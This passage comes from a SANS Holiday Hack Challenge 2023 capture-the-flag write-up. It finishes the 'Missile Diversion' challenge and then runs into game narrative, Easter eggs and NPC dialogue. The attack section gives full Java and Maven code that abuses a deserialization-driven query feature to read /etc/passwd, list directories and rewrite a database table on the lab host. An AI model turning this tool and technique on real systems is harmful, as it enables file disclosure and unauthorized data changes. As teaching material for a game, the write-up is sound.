                    try (Stream<Path> walk = Files.walk(path, 1)) { // depth set to 1 to list only immediate contents
                        return walk.skip(1) // skip the directory itself
                                .map(p -> Files.isDirectory(p) ? "D: " + p.getFileName() : "F: " + p.getFileName())
                                .collect(Collectors.joining("\n"));
                    }
                } else {
                    // Assume it's a readable file
                    return new String(Files.readAllBytes(path), StandardCharsets.UTF_8);
                }
            } catch (IOException e) {
                return "Error reading path: " + e.toString();
            }
        }
    }

    public String getpathOrStatement() {
        return pathOrStatement;
    }
}
 |
+-----+----------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.065 sec)

MariaDB [missile_targeting_system]> select * from target_coordinates;
+----+---------+----------+
| id | lat     | lng      |
+----+---------+----------+
|  1 | 1.14514 | -145.262 |
+----+---------+----------+
1 row in set (0.055 sec)

Since our main goal is to change the targeting from the Earth to the Sun, the pointing_mode table seems to align with that objective. The pointing_mode has the following values available - 0 (Earth Point Mode) or 1 (Sun Point Mode).

Also, looking back at our privileges … we can add queries to the satellite_query table of the missile_targeting_system database. This is where we found a Java serialized object. Lets obtain the full Java serialized object column by wrapping it with hex() in our query:

MariaDB [missile_targeting_system]> select hex(object) from satellite_query;
ACED00057372001F536174656C6C697465517565727946696C65466F6C6465725574696C69747912D4F68D0EB392CB0200035A0007697351756572795A000869735570646174654C000F706174684F7253746174656D656E747400124C6A6176612F6C616E672F537472696E673B787000007400292F6F70742F536174656C6C697465517565727946696C65466F6C6465725574696C6974792E6A617661

Java Serialization Payload Generation

Let’s see if we can add the same Java Serialized object into the table and inspect what happens in the result column.

MariaDB [missile_targeting_system]> INSERT INTO missile_targeting_system.satellite_query VALUES(2,UNHEX("ACED00057372001F536174656C6C697465517565727946696C65466F6C6465725574696C69747912D4F68D0EB392CB0200035A0007697351756572795A000869735570646174654C000F706174684F7253746174656D656E747400124C6A6176612F6C616E672F537472696E673B787000007400292F6F70742F536174656C6C697465517565727946696C65466F6C6465725574696C6974792E6A617661"),"");

MariaDB [missile_targeting_system]> SELECT results FROM missile_targeting_system.satellite_query ORDER BY jid DESC LIMIT 1
+-----------------------------------+
| results                           |
+-----------------------------------+
| [{"numerical_mode":"1","id":"1"}] |
+-----------------------------------+
1 row in set (0.059 sec)

Building off of what we just did, I started creating a Java program to send serialized payloads to the MySQL database and fetch the results.

I started off with the initial SatelliteQueryFileFolderUtility serializable class that we obtained from the satellite_query table of the missile_targeting_system database.

SatelliteQueryFileFolderUtility.java
/* SANS Holiday Hack 2023 - Missile Diversion */

/* Imports */
import com.google.gson.Gson;
import java.io.IOException;
import java.io.Serializable;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.sql.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.stream.Collectors;
import java.util.stream.Stream;

public class SatelliteQueryFileFolderUtility implements Serializable {

  private String pathOrStatement;
  private boolean isQuery;
  private boolean isUpdate;

  private static final long serialVersionUID = 1356980473442833099L;

  public SatelliteQueryFileFolderUtility(
    String pathOrStatement,
    boolean isQuery,
    boolean isUpdate
  ) {
    this.pathOrStatement = pathOrStatement;
    this.isQuery = isQuery;
    this.isUpdate = isUpdate;
  }

  public String getResults(Connection connection) {
    if (isQuery && connection != null) {
      if (!isUpdate) {
        try (
          PreparedStatement selectStmt = connection.prepareStatement(
            pathOrStatement
          );
          ResultSet rs = selectStmt.executeQuery()
        ) {
          List<HashMap<String, String>> rows = new ArrayList<>();
          while (rs.next()) {
            HashMap<String, String> row = new HashMap<>();
            for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
              String key = rs.getMetaData().getColumnName(i);
              String value = rs.getString(i);
              row.put(key, value);
            }
            rows.add(row);
          }
          Gson gson = new Gson();
          String json = gson.toJson(rows);
          return json;
        } catch (SQLException sqle) {
          return "SQL Error: " + sqle.toString();
        }
      } else {
        try (
          PreparedStatement pstmt = connection.prepareStatement(pathOrStatement)
        ) {
          pstmt.executeUpdate();
          return "SQL Update completed.";
        } catch (SQLException sqle) {
          return "SQL Error: " + sqle.toString();
        }
      }
    } else {
      Path path = Paths.get(pathOrStatement);
      try {
        if (Files.notExists(path)) {
          return "Path does not exist.";
        } else if (Files.isDirectory(path)) {
          // Use try-with-resources to ensure the stream is closed after use
          try (Stream<Path> walk = Files.walk(path, 1)) { // depth set to 1 to list only immediate contents
            return walk
              .skip(1) // skip the directory itself
              .map(p ->
                Files.isDirectory(p)
                  ? "D: " + p.getFileName()
                  : "F: " + p.getFileName()
              )
              .collect(Collectors.joining("\n"));
          }
        } else {
          // Assume it's a readable file
          return new String(Files.readAllBytes(path), StandardCharsets.UTF_8);
        }
      } catch (IOException e) {
        return "Error reading path: " + e.toString();
      }
    }
  }

  public String getpathOrStatement() {
    return pathOrStatement;
  }
}

The Maven project required some dependencies that were specified in the pom.xml to connect to the database, for the original serializable class, and to disable logging.

pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0"
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
	<modelVersion>4.0.0</modelVersion>
	<groupId>com.exploit</groupId>
	<artifactId>SerializationUtility</artifactId>
	<version>0.0.1-SNAPSHOT</version>

	<build>
		<plugins>
			<plugin>
				<groupId>org.apache.maven.plugins</groupId>
				<artifactId>maven-compiler-plugin</artifactId>
				<version>3.12.1</version>
				<configuration>
					<source>1.8</source>
					<target>1.8</target>
					<archive>
						<manifest>
							<mainClass>SerializationUtility</mainClass>
							<addClasspath>true</addClasspath>
							<classpathPrefix>lib/</classpathPrefix>
						</manifest>
					</archive>
				</configuration>
			</plugin>
			<plugin>
				<groupId>org.apache.maven.plugins</groupId>
				<artifactId>maven-jar-plugin</artifactId>
				<version>3.2.0</version>
				<configuration>
				  <archive>
					<manifest>
						<mainClass>SerializationUtility</mainClass>
						<addClasspath>true</addClasspath>
						<classpathPrefix>lib/</classpathPrefix>
					</manifest>
				  </archive>
				</configuration>
			  </plugin>
			<plugin>
				<groupId>org.apache.maven.plugins</groupId>
				<artifactId>maven-dependency-plugin</artifactId>
				<version>3.1.2</version>
				<executions>
					<execution>
						<id>copy-dependencies</id>
						<phase>prepare-package</phase>
						<goals>
							<goal>copy-dependencies</goal>
						</goals>
						<configuration>
							<outputDirectory>${project.build.directory}/lib</outputDirectory>
						</configuration>
					</execution>
				</executions>
			</plugin>
		</plugins>
	</build>

	<dependencies>
		<!-- Gson dependency -->
		<dependency>
			<groupId>com.google.code.gson</groupId>
			<artifactId>gson</artifactId>
			<version>2.8.9</version>
		</dependency>

		<!-- Database dependency -->
		<dependency>
			<groupId>org.mariadb.jdbc</groupId>
			<artifactId>mariadb-java-client</artifactId>
			<version>3.3.2</version>
		</dependency>

		<!-- Ignore logging dependency -->
		<dependency>
			<groupId>org.slf4j</groupId>
			<artifactId>slf4j-nop</artifactId>
			<version>1.7.32</version>
		</dependency>

	</dependencies>
</project>

I then made a wrapper around that called serializationutility. This prompts for either a select/update query or file or directory. It then creates the serialized object, inserts it into the database, waits for the server to process the request, and then queries for the result!

SerializationUtility.java
/* SANS Holiday Hack 2023 - Missile Diversion */

/* Imports */
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.Scanner;

public class SerializationUtility {

  private static String bytesToHex(byte[] bytes) {
    StringBuilder hexString = new StringBuilder(2 * bytes.length);
    for (byte b : bytes) {
      hexString.append(String.format("%02X", b));
    }
    return hexString.toString();
  }

  private static String serializeObject(
    SatelliteQueryFileFolderUtility obj,
    String outputFilename
  ) {
    try (
      ObjectOutputStream oos = new ObjectOutputStream(
        new FileOutputStream(outputFilename)
      );
      ByteArrayOutputStream bos = new ByteArrayOutputStream();
      ObjectOutputStream hexOos = new ObjectOutputStream(bos)
    ) {
      // Serialize the object to a file
      oos.writeObject(obj);
      //System.out.println("Object has been serialized and written to " + outputFilename);

      // Serialize the object to a byte array
      hexOos.writeObject(obj);
      byte[] serializedBytes = bos.toByteArray();

      // Convert the byte array to a hexadecimal string
      String hexString = bytesToHex(serializedBytes);

      System.out.println("Serialized payload (hex): " + hexString);

      return hexString;
    } catch (IOException e) {
      System.err.println("Error during serialization: " + e.getMessage());
      return null;
    }
  }

  private static void insertDataIntoDatabase(
    String jdbcUrl,
    String username,
    String password,
    String hexString
  ) {
    try (
      Connection connection = DriverManager.getConnection(
        jdbcUrl,
        username,
        password
      )
    ) {
      String insertQuery =
        "INSERT INTO missile_targeting_system.satellite_query (object) VALUES (UNHEX(?))";
      try (
        PreparedStatement preparedStatement = connection.prepareStatement(
          insertQuery
        )
      ) {
        preparedStatement.setString(1, hexString);
        preparedStatement.executeUpdate();
        System.out.println("Data inserted into the database.");
      }
    } catch (SQLException e) {
      System.err.println(
        "Error connecting to the database or executing the query: " +
        e.getMessage()
      );
    }
  }

  private static String queryLastEntryResultsColumn(
    String jdbcUrl,
    String username,
    String password
  ) {
    try (
      Connection connection = DriverManager.getConnection(
        jdbcUrl,
        username,
        password
      )
    ) {
      String selectQuery =
        "SELECT results FROM missile_targeting_system.satellite_query ORDER BY jid DESC LIMIT 1";
      try (
        Statement statement = connection.createStatement();
        ResultSet resultSet = statement.executeQuery(selectQuery)
      ) {
        if (resultSet.next()) {
          return resultSet.getString("results");
        } else {
          System.out.println("No entries found in the satellite_query table.");
        }
      }
    } catch (SQLException e) {
      System.err.println(
        "Error connecting to the database or executing the query: " +
        e.getMessage()
      );
    }
    return null;
  }

  public static void main(String[] args) {
    // Initialize scanner
    Scanner scanner = new Scanner(System.in);

    while (true) {
      // Ask user for input
      System.out.print("\nEnter your input: ");
      String userInput = scanner.nextLine().trim();

      // Process user choice
      String serHex = null;
      if (userInput.startsWith("/")) {
        SatelliteQueryFileFolderUtility utilityPath = new SatelliteQueryFileFolderUtility(
          userInput,
          false,
          false
        );
        serHex = serializeObject(utilityPath, "output.ser");
      } else if (userInput.toUpperCase().startsWith("SELECT")) {
        SatelliteQueryFileFolderUtility utilitySelect = new SatelliteQueryFileFolderUtility(
          userInput,
          true,
          false
        );
        serHex = serializeObject(utilitySelect, "output.ser");
      } else if (userInput.toUpperCase().startsWith("UPDATE")) {
        SatelliteQueryFileFolderUtility utilityUpdate = new SatelliteQueryFileFolderUtility(
          userInput,
          true,
          true
        );
        serHex = serializeObject(utilityUpdate, "output.ser");
      } else {
        System.out.println(
          "Invalid input. Please enter a path, SELECT query, or UPDATE query."
        );
        continue;
      }

      // Check if serialization was successful
      if (serHex != null) {
        String jdbcUrl =
          "jdbc:mariadb://10.1.1.1:3306/missile_targeting_system?allowMultiQueries=true";
        String username = "targeter";
        String password = "cu3xmzp9tzpi00bdqvxq";
        insertDataIntoDatabase(jdbcUrl, username, password, serHex);

        // Wait for results
        System.out.println("Waiting for results ...");
        try {
          Thread.sleep(1000); // 1 seconds
        } catch (InterruptedException e) {
          System.err.println("Error during sleep: " + e.getMessage());
        }

        // Query the database after 10 seconds
        String lastEntryResults = queryLastEntryResultsColumn(
          jdbcUrl,
          username,
          password
        );
        System.out.println("Results:\n" + lastEntryResults);
      }
    }
  }
}

We can compile the Java code to a Java class and then package it in a JAR file using Maven that will have all of our dependencies in it to run. From this point, it was a lot easier generating payloads and sending it to the target.

mvn clean package -DskipTests
java -jar ./target/serializationutility-0.0.1-SNAPSHOT.jar

I could dump /etc/passwd

Enter your input: /etc/passwd
Serialized payload (hex): ACED00057372001F536174656C6C697465517565727946696C65466F6C6465725574696C69747912D4F68D0EB392CB0200035A0007697351756572795A000869735570646174654C000F706174684F7253746174656D656E747400124C6A6176612F6C616E672F537472696E673B7870000074000B2F6574632F706173737764
Data inserted into the database.
Waiting for results ...
Results:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

I could directory list /opt/

Enter your input: /opt/
Serialized payload (hex): ACED00057372001F536174656C6C697465517565727946696C65466F6C6465725574696C69747912D4F68D0EB392CB0200035A0007697351756572795A000869735570646174654C000F706174684F7253746174656D656E747400124C6A6176612F6C616E672F537472696E673B787000007400052F6F70742F
Data inserted into the database.
Waiting for results ...
Results:
F: example.txt
F: SatelliteQueryFileFolderUtility.java
D: java

I then updated the pointing_mode to 1 within the missile_targeting_system database to point to targeting system at the Sun instead of Earth!

Enter your input: UPDATE missile_targeting_system.pointing_mode SET numerical_mode = 1;
Serialized payload (hex): ACED00057372001F536174656C6C697465517565727946696C65466F6C6465725574696C69747912D4F68D0EB392CB0200035A0007697351756572795A000869735570646174654C000F706174684F7253746174656D656E747400124C6A6176612F6C616E672F537472696E673B78700101740045555044415445206D697373696C655F746172676574696E675F73797374656D2E706F696E74696E675F6D6F646520534554206E756D65726963616C5F6D6F6465203D20313B
Data inserted into the database.
Waiting for results ...
Results:
SQL Update completed.

With that we diverted the missile successfully!

Achievement

Congratulations! You have completed the Missile Diversion challenge!

Having successfully diverted the missile, Wombley Cube expressed genuine remorse. Now, standing at the threshold of the last door, we are poised for the ultimate victory.

diverted

When we click on the door … we see Jack in the satellite:

diverted

The missile is fired at Geeze Islands!

diverted

The missile is then redirected to the sun and Jack escapes in the escape pod!

diverted

diverted

The missile disintegrated into the sun!

diverted

Lets conclude our adventure at the Resort Lobby of Christmas Island for the big surprise!

Conclusion

After defeating all the objectives and thwarting Jack’s evil plan to missile the geese islands, we teleport back to the Resort Lobby of Christmas Island to meet up with everyone again!

endgame

We see all the “Six Geese A Laying” of the Geese Islands, Santa, and Jack Frost!

Full Island (Zoomed Out)

zoom30

After speaking with Santa, we won and obtained our final achievement:

Achievement

Through your diligent efforts, you have thwarted Jack’s nefarious plans and saved the holidays! Congratulations! Feel free to show off your skills with some swag - only for our victors!

Following the triumphant defeat of Jack, a new chapter in the challenge unfolds, revealing the final tale of Santa and his elves as they embrace Geese Islands with the help of the enigmatic AI tool, ChatNPT.

Final Narrative

Just sit right back and you’ll hear a tale,
A tale of a yuletide trip
That started from a tropic port,
Aboard this tiny ship
Santa and his helpful elves
To Geese Islands did go
Continuing their merry work
O’er sand instead of snow
New this year: a shiny tool
The elves logged in with glee
What makes short work of many tasks?
It’s ChatNPT. It’s ChatNPT
From images to APIs
This AI made elves glad
But motivations were unknown
So was it good or bad?
Could it be that NPT
Was not from off-the-shelf?
Though we’ll forgive and trust again
We’d found a naughty elf
This fancy AI tool of ours
With all our work remained
Not good or bad, our online friend
Just did as it was trained
Surely someone’s taint must be
Upon our AI crutch
Yes indeed, this bold new world
Bore Jack Frost’s icy touch
We’ll all be needed once again
When Santa’s back on snow

This year’s Holiday Hack Challenge 2023 was a blast! I trust you had as much fun reading my write-up as I did participating. If you have any questions or feedback, feel free to reach out. Here’s to a fantastic year and the exciting adventures that lie ahead!

Easter Eggs

This section compiles all the Easter Eggs I encountered during my journey through the Holiday Hack Challenge.

Easter Egg - Jason Dead Fish

A peculiar discovery! We stumble upon Jason, a dead fish, located on Steampunk Island at the Port of Coggoggle Marina.

jasondeadfish

Easter Egg - Henry

A fascinating find! We encounter Henry (baby Yoda), a satellite-building expert, situated on Zenith SGS.

henry

Easter Egg - Film Noir Geese Island Sponsor

When completing the Phish Detection Agency (Film Noir Island) challenge, we see the Geese Islands in the pacific poster.

geeseislandsponsor

Easter Egg - GeeseIslands.com

When completing the Phish Detection Agency (Film Noir Island) challenge, we noticed all DNS records direct to geeseislands.com, so I decided to visit https://geeseislands.com/ to verify its legitimacy. The graphic on the site undeniably captures the essence of this event!

geeseislands.com

NPC

This section compiles all Non-Playable Character (NPC) conversations encountered throughout the Holiday Hack Challenge, along with a directory detailing the location of each NPC.

NPC Directory

NPC NameArea
Alabaster SnowballRainraster Cliffs
Bow NinecandleBrass Bouy Port
Chimney ScissorsticksBrass Bouy Port
Dusty GiftwrapTarnished Trove
Eve SnowshoesScaredy Kite Heights
Fitzy ShortstackThe Blacklight District
Garland CandlesticksSquarewheel Yard
Ginger BreddieSanta’s Surf Shack
Goose of Christmas IslandRudolph’s Rest Resort
Goose of Film Noir IslandThe Blacklight District
Goose of Pixel IslandRainraster Cliffs
Goose of Space IslandCape Cosmic Inside Fence
Goose of Steampunk IslandCoggoggle Marina
Goose of the Island of Misfit ToysSquarewheel Yard
Hack Space Con PosterFrosty’s Beach
HenryZenith SGS
Jack FrostRudolph’s Rest Resort Lobby Finale
Jewel LogginsSpaceport Point
Jingle RingfordOrientation
Morcel NougatFrosty’s Beach
NanoSat-o-MaticZenith SGS
Noel BoetieRudolph’s Rest Resort
Pepper MinstixRudolph’s Rest Resort Lobby
Piney SappingtonRainraster Cliffs
Poinsettia McMittensSquarewheel Yard
President’s Cup PosterFrosty’s Beach
Ribb BonbowfordCoggoggle Marina
Rose MoldOstrich Saloon
SantaRudolph’s Rest Resort Lobby Finale
Shifty McShufflesChiaroscuro City
Sparkle RedberryRudolph’s Rest Resort
Tangle CoalboxGumshoe Alley PI Office
Tinsel UpatreeDriftbit Grotto
TrollRudolph’s Rest Resort Lobby Finale
Wombley CubeChiaroscuro City

NPC Conversations

Alabaster Snowball (Rainraster Cliffs)

Alabaster Snowball (Rainraster Cliffs)

Hello there! Alabaster Snowball at your service.

I could use your help with my fancy new Azure server at ssh-server-vm.santaworkshopgeeseislands.org.

ChatNPT suggested I upgrade the host to use SSH certificates, such a great idea!

It even generated ready-to-deploy code for an Azure Function App so elves can request their own certificates. What a timesaver!

I’m a little wary though. I’d appreciate it if you could take a peek and confirm everything’s secure before I deploy this configuration to all the Geese Islands servers.

Generate yourself a certificate and use the monitor account to access the host. See if you can grab my TODO list.

If you haven’t heard of SSH certificates, Thomas Bouve gave an introductory talk and demo on that topic recently.

Oh, and if you need to peek at the Function App code, there’s a handy Azure REST API endpoint which will give you details about how the Function App is deployed.

=======================================================

Oh my! I was so focused on the SSH configuration I completely missed the vulnerability in the Azure Function App.

Why would ChatNPT generate code with such a glaring vulnerability? It’s almost like it wanted my system to be unsafe. Could ChatNPT be evil?

Thanks for the help, I’ll go and update the application code immediately!

While we’re on the topic of certificates, did you know Active Directory (AD) uses them as well? Apparently the service used to manage them can have misconfigurations too.

You might be wondering about that SatTrackr tool I’ve installed on the monitor account?

Here’s the thing, on my nightly stargazing adventures I started noticing the same satellite above Geese Islands.

I wrote that satellite tracker tool to collect some additional data and sure enough, it’s in a geostationary orbit above us.

No idea what that means yet, but I’m keeping a close eye on that thing!

Angel Candysalt (Rusty Quay)

Angel Candysalt (Rusty Quay)

The name’s Angel Candysalt, the great treasure hunter!

A euphemism? No, why do people always ask me that??

Anyways, I came here to nab the treasure hidden in this ship graveyard, only to discover it’s protected by this rusted maze.

That must be why all these old ships are here. Their crew came to find the treasure, only to get lost in the labrynth.

=======================================================

There are 3 buried treasures in total, each in its own uncharted area around Geese Islands.

I’ve been getting lost in this maze for hours now with no luck, and my feet are starting to get sore.

Maybe you’ll be able to find the way through. Here, use my Gameboy Cartridge Detector. Go into your items and test it to make sure it’s still working.

When you get close to the treasure, it’ll start sounding off. The closer you get, the louder the sound.

No need to activate or fiddle with it. It just works!

At least it’s obvious where this one is. See that shiny spot over to the right? That’s gotta be where it is! If only I had a bird’s eye view.

But how to get there? Up? Down? Left? Right? Oh well, that’s your problem now!

Come back if you can find your way to it, and I’ll tell you some secrets I’ve heard about this one.

=======================================================

The life of a treasure hunter isn’t easy, but it sure is exciting!

Oh it’s a video game, I love video games! But you’ve claimed this treasure, nicely done.

Now, about those secrets I’ve been told. They’re pretty cryptic, but they are. Hopefully that helps with something!

=======================================================

You have all three? Wow, you must be the greatest treasure hunter that ever lived!

Bow Ninecandle (Brass Bouy Port)

Bow Ninecandle (Brass Bouy Port)

Hey there! I’m Bow Ninecandle, and I’ve got a bit of a… ‘pressing’ situation.

=======================================================

You see, I need to get into the lavatory, but here’s the twist: it’s secured with a combination padlock.

Talk about bad timing, right? I could really use your help to figure this out before things get… well, urgent.

I’m sure there are some clever tricks and tips floating around the web that can help us crack this code without too much of a flush… I mean fuss.

Remember, we’re aiming for quick and easy solutions here - nothing too complex.

Once we’ve gathered a few possible combinations, let’s team up and try them out.

I’m crossing my legs - I mean fingers - hoping we can unlock this door soon.

After all, everyone knows that the key to holiday happiness is an accessible lavatory!

Let’s dive into this challenge and hopefully, we won’t have to ‘hold it’ for too long! Ready to help me out?

=======================================================

Oh, thank heavens! You’re a lifesaver! With your knack for cracking codes, we’ve just turned a potential ’loo catastrophe’ into a holiday triumph!

Chimney Scissorsticks (Brass Bouy Port)

Chimney Scissorsticks (Brass Bouy Port)

Ahoy there, I’m Chimney Scissorsticks!

=======================================================

You may have noticed some mischief-makers planning to stir up trouble ashore.

They’ve made many radio broadcasts which the captain has been monitoring with his new software defined radio (SDR).

The new SDR uses some fancy JWT technology to control access.

The captain has a knack for shortening words, some sorta abbreviation trick.

Not familiar with JWT values? No worries; just think of it as a clue-solving game.

I’ve seen that the Captain likes to carry his journal with him wherever he goes.

If only I could find the planned “go-date”, “go-time”, and radio frequency they plan to use.

Remember, the captain’s abbreviations are your guiding light through this mystery!

Once we find a JWT value, these villains won’t stand a chance.

The closer we are, the sooner we’ll be thwarting their pesky plans!

We need to recreate an administrative JWT value to successfully transmit a message.

Good luck, matey! I’ve no doubts about your cleverness in cracking this conundrum!

=======================================================

Brilliant work! You’ve outsmarted those scoundrels with finesse!

Dusty Giftwrap (Tarnished Trove)

Dusty Giftwrap (Tarnished Trove)

Arrr, matey, shiver me timbers! There be buried treasure herrrrre.

Just kidding, I’m not really a pirate, I was just hoping it would make finding the treasure easier.

I guess you heard about the fabled buried treasure, too? I didn’t expect to see anyone else here. This uncharted islet was hard to find.

=======================================================

I bet one of these creepy toys has the treasure, and I’m sure not going anywhere near them!

If you find the treasure, come back and show me, and I’ll tell you what I was able to research about it.

Good luck!

=======================================================

Whoa, you found it!

It’s a… video game cartridge? Coooooollll… I mean, arrrrrr….

So, here’s what my research uncovered. Not sure what it all means, maybe you can make sense of it.

=======================================================

You have all three? I think that makes you ruler of the pirates!

Eve Snowshoes (Scaredy Kite Heights)

Eve Snowshoes (Scaredy Kite Heights)

Greetings, fellow adventurer! Welcome to Scaredy-Kite Heights, the trailhead of the trek through the mountains on the way to the wonderful Squarewheel Yard!

=======================================================

I’m Eve Snowshoes, resident tech hobbyist, and I hear Alabaster is in quite the predicament.

Our dear Alabaster forgot his password. He’s been racking his jingle bells of memory with no luck.

I’ve been trying to handle this password recovery thing parallel to this hashcat business myself but it seems like I am missing some tricks.

So, what do you say, chief, ready to get your hands on some hashcat action and help a distraught elf out?

=======================================================

Aha! Success! Alabaster will undoubtedly be grateful for our assistance.

Onward to our next adventure, comrade! Feel free to explore this whimsical world of gears and steam!

Fitzy Shortstack (The Blacklight District)

Fitzy Shortstack (The Blacklight District)

Just my luck, I thought…

A cybersecurity incident right in the middle of this stakeout.

Seems we have a flood of unusual emails coming in through ChatNPT.

Got a nagging suspicion it isn’t catching all the fishy ones.

You’re our phishing specialist right? Could use your expertise in looking through the output of ChatNPT.

Not suggesting a full-blown forensic analysis, just mark the ones screaming digital fraud.

We’re looking at all this raw data, but sometimes, it takes a keen human eye to separate the chaff, doesn’t it?

I need to get more powdered sugar for my donuts, so do ping me when you have something concrete on this.

=======================================================

You’ve cracked the case! Once again, you’ve proven yourself to be an invaluable asset in our fight against these digital foes.

Garland Candlesticks (Squarewheel Yard)

Garland Candlesticks (Squarewheel Yard)

Hey there, I’m Garland Candlesticks! I could really use your help with something.

You see, I have this important pamphlet in my luggage, but I just can’t remember the combination to open it!

Chris Elgee gave a talk recently that might help me with this problem. Did you attend that?

I seem to recall Chris mentioning a technique to figure out the combinations…

I have faith in you! We’ll get that luggage open in no time.

This pamphlet is crucial for me, so I can’t thank you enough for your assistance.

Once we retrieve it, I promise to treat you to a frosty snack on me!

=======================================================

Wow, you did it! I knew you could crack the code. Thank you so much!

Ginger Breddie (Santa’s Surf Shack)

Ginger Breddie (Santa's Surf Shack)

Hey, welcome to Santa’s Surf Shack on tropical Christmas Island! I’m just hanging ten here, taking it easy while brushing up on my Linux skills.

You ever tried getting into Linux? It’s a super cool way to play around with computers.

Can you believe ChatNPT suggested this trip to the Geese Islands this year? I’m so thrilled!

Kudos to ChatNPT, eh? The sunshine, the waves, and my surfboard – simply loving it!

So, what do you have planned? Care to join me in a Linux session?

=======================================================

Wow, if your surfing skills are as good as your Linux skills, you could be winning competitions!

Jewel Loggins (Spaceport Point)

Jewel Loggins (Spaceport Point)

What, you know the passphrase!? Let me try it!

Nope, didn’t work. Knowing Wombley, the passphrase isn’t the only requirement. He’s all about that MFA!

Oh yeah, multi-factor authentication! The passphrase for something he knows, and his voice for something he is!

That’s it! You need to be Wombley. You need his voice. Now, how are you gonna get that?

Since only us elves can get a subscription to use ChatNPT, try searching for another AI tool that can simulate voices. I’m sure there’s one out there.

=======================================================

Are you like a master spy or something? I’ve only seen stuff like that in the movies!

It sure is scary what you can do with AI, huh? I sure hope ChatNPT has better guardrails in place.

Jingle Ringford (Orientation)

Jingle Ringford (Orientation)

Welcome to the Geese Islands and the 2023 SANS Holiday Hack Challenge!

I’m Jingle Ringford, one of Santa’s many elves.

Santa asked me to meet you here and give you a short orientation to this festive event.

Before you head back to your boat, I’ll ask you to accomplish a few simple tasks.

=======================================================

First things first, here’s your badge! It’s that starfish in the middle of your avatar.

Great - now you’re official!

Click on the badge on your avatar. That’s where you will see your Objectives, Hints, and Conversations for the Holiday Hack Challenge.

We’ve also got handy links to some awesome talks and more there for you!

=======================================================

Fantastic!

OK, one last thing. Click on the Cranberry Pi Terminal and follow the on-screen instructions.

=======================================================

Perfect! Your orientation is now complete!

Head back to your boat or click on the anchor icon on the left of the screen to set sail for Frosty’s Beach where Santa’s waiting for you. I’ve updated your boat’s compass to guide the way.

As you sail to each island, talk to the goose of that island to receive a colorful lei festooning the masts on your ship.

Safe travels my friend and remember, relax, enjoy the sun, and most importantly, have FUN!

Morcel Nougat (Frosty’s Beach)

Morcel Nougat (Frosty's Beach)

Hey there, I’m Morcel Nougat, elf extraordinaire!

You won’t believe this, but we’re on a magical tropical island called Christmas Island, and it even has snow!

I’m so glad ChatNPT suggested we come here this year!

Santa, some elves, and I are having a snowball fight, and we’d love you to join us. Santa’s really good, so trust me when I say it’s way more fun when played with other people.

But hey, if you can figure out a way to play solo by tinkering with client side variables or parameters to go solo mode, go for it!

There’s also ways to make the elves’ snowballs do no damage, and all kinds of other shenanigans, but you didn’t hear that from me.

Just remember, it’s all about having fun and sharing the joy of the holiday season with each other.

So, are you in? We’d really love your company in this epic snowball battle!

=======================================================

You’re like a snowball fighting ninja! A real-life legend. Can I have your autograph!?

Noel Boetie (Rudolph’s Rest Resort)

Noel Boetie (Rudolph's Rest Resort)

Hey there, Noel Boetie speaking! I recently tried using ChatNPT to generate my penetration testing report.

It’s a pretty nifty tool, but there are a few issues in the output that I’ve noticed.

I need some guidance in finding any errors in the way it generated the content, especially those odd hallucinations in the LLM output.

I know it’s not perfect, but I’d really appreciate the extra eyes on this one.

Some of the issues might be subtle, so don’t be afraid to dig deep and ask for further clarification if you’re unsure.

I’ve heard that you folks are experts about LLM outputs and their common issues, so I trust you can help me with this.

Your input will be invaluable to me, so please feel free to share any insights or findings you may have.

I’m looking forward to working with you all and improving the quality of the ChatNPT-generated penetration testing report.

Thanks in advance for your help! I truly appreciate it! Let’s make this report the best it can be!

=======================================================

